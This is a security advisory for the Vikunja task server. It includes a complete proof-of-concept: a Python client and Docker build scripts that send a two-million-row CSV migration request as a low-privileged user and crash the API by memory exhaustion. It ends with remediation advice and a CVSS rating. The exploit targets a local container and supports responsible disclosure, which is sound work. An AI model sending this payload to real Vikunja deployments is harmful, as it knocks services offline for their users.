Create reproduction/client.py:

#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.request
import uuid


BASE = "http://target:3456"


def json_request(method, path, body=None, token=None, expected=None):
    raw = None if body is None else json.dumps(body).encode()
    headers = {"Accept": "application/json"}
    if body is not None:
        headers["Content-Type"] = "application/json"
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=30) as response:
            status, data = response.status, response.read()
    except urllib.error.HTTPError as exc:
        status, data = exc.code, exc.read()
    print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True)
    if expected is not None and status != expected:
        raise RuntimeError(f"{method} {path}: got {status}, expected {expected}")
    return status, json.loads(data.decode()) if data else {}


def wait_ready():
    for _ in range(240):
        try:
            if json_request("GET", "/api/v1/info")[0] == 200:
                return
        except Exception:
            pass
        time.sleep(0.25)
    raise RuntimeError("target did not become ready")


def register_and_login(username):
    password = "PoC-password-123!"
    json_request("POST", "/api/v2/register", {
        "username": username,
        "email": username + "@example.invalid",
        "password": password,
    }, expected=201)
    _, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
    return login["token"]


def migrate(token, csv_data, config, expect_response):
    boundary = "----PoC-" + uuid.uuid4().hex
    body = (
        f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode()
        + f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode()
        + csv_data
        + f"\r\n--{boundary}--\r\n".encode()
    )
    print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True)
    req = urllib.request.Request(
        BASE + "/api/v2/migration/csv/migrate",
        data=body,
        headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=" + boundary},
        method="POST",
    )
    try:
        with urllib.request.urlopen(req, timeout=90) as response:
            status, data = response.status, response.read()
        print(f"POST migrate -> {status} {data[:200]!r}", flush=True)
        if expect_response and status != 200:
            raise RuntimeError(f"control returned {status}, expected 200")
        if not expect_response:
            raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
    except urllib.error.HTTPError as exc:
        data = exc.read()
        print(f"POST migrate -> HTTP {exc.code} {data[:200]!r}", flush=True)
        if expect_response:
            raise
        raise RuntimeError(f"attack was rejected with HTTP {exc.code}; process did not terminate")
    except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
        if expect_response:
            raise
        print(f"PoC_CSV_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)


def main():
    wait_ready()
    control_token = register_and_login("PoC-csv-control")
    control_config = json.dumps({"delimiter": ",", "mapping": [{"column_index": 0, "attribute": "title"}]})
    migrate(control_token, b"Title\ncontrol task\n", control_config, True)
    json_request("GET", "/api/v1/info", expected=200)
    print("PoC_CSV_CONTROL=PASS", flush=True)

    attack_token = register_and_login("PoC-csv-attack")
    attack_config = json.dumps({"delimiter": ",", "mapping": [{"column_index": 0, "attribute": "ignore"}]})
    migrate(attack_token, b"x\n" * 2_000_000, attack_config, False)
    print("PoC_CSV_ATTACK_SENT rows=2000000", flush=True)


if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(f"PoC_CSV_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
        raise

Create reproduction/prepare.sh:

#!/usr/bin/env bash
set -euo pipefail

mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html

cd /work/repo
CGO_ENABLED=1 go build \
  -tags osusergo \
  -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
  -o /output/vikunja .
chmod 0755 /output/vikunja

if [[ -f /app/probe.go ]]; then
  go build -o /output/probe /app/probe.go
  chmod 0755 /output/probe
fi

Create reproduction/run.sh:

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"

cleanup() {
  docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
  docker network rm "${NETWORK}" >/dev/null 2>&1 || true
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] cloning and pinning target ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] building helper image ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
  --network "${NETWORK}" --network-alias target \
  --memory 512m --memory-swap 512m --pids-limit 256 \
  -v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
  -e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
  -e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
  -e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
  -e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
  -e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \
  -e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \
  "${IMAGE_TAG}" /app/vikunja web >/dev/null

set +e
OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)"
CLIENT_STATUS=$?
set -e
printf '%s\n' "${OUTPUT}"
for _ in $(seq 1 80); do
  STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
  [[ "${STATE}" != "false 0 true" ]] && break
  sleep 0.25
done
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
echo "PoC_CSV_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}"
if ! grep -q 'PoC_CSV_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_CSV_ATTACK_SENT rows=2000000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then
  echo "[PoC] FAIL: CSV cardinality payload did not produce the expected cgroup OOM termination" >&2
  exit 1
fi
echo "PoC_CSV_CARDINALITY=PASS rows=2000000 request_bytes_under_5MiB OOMKilled=true ExitCode=137"
echo "[PoC] SUCCESS: a low-privileged CSV import terminated a 512 MiB API process"

Create reproduction/frontend-placeholder.html:

<!doctype html><title>PoC backend reproduction placeholder</title>

From the directory containing these files, run:

chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh

Expected: A low-privileged CSV migration request terminates the API process through parsed-row and task-materialization amplification.

Observed: The normal import control returned HTTP 200. The 4,000,371-byte, two-million-row attack request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_CSV_CARDINALITY=PASS.

Verification and controls: The client uses independent ordinary users for the success control and attack, sends the real multipart migration format, and the host script requires the control marker, attack marker, and Docker OOMKilled=true with ExitCode=137.

Observed evidence:

• Normal CSV migrate control: HTTP 200
• Attack: rows=2000000, request_bytes=4000371, RemoteDisconnected
• target container: OOMKilled=true, ExitCode=137
• PoC_CSV_CARDINALITY=PASS

Suggested remediation

Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.

Severity

CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.

Disclosure context and attribution

AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.

Reported by the University of Sydney security research team:

• Ziyue Wang (@Zyy0530)
• Liyi Zhou (@lzhou1110)
• Strick Sheng (@Str1ckl4nd)
• Maurice Ng (@mauriceng98)
• Chenchen Yu (@7thParkk)

We are happy to answer questions, provide additional verification details, or validate a candidate patch.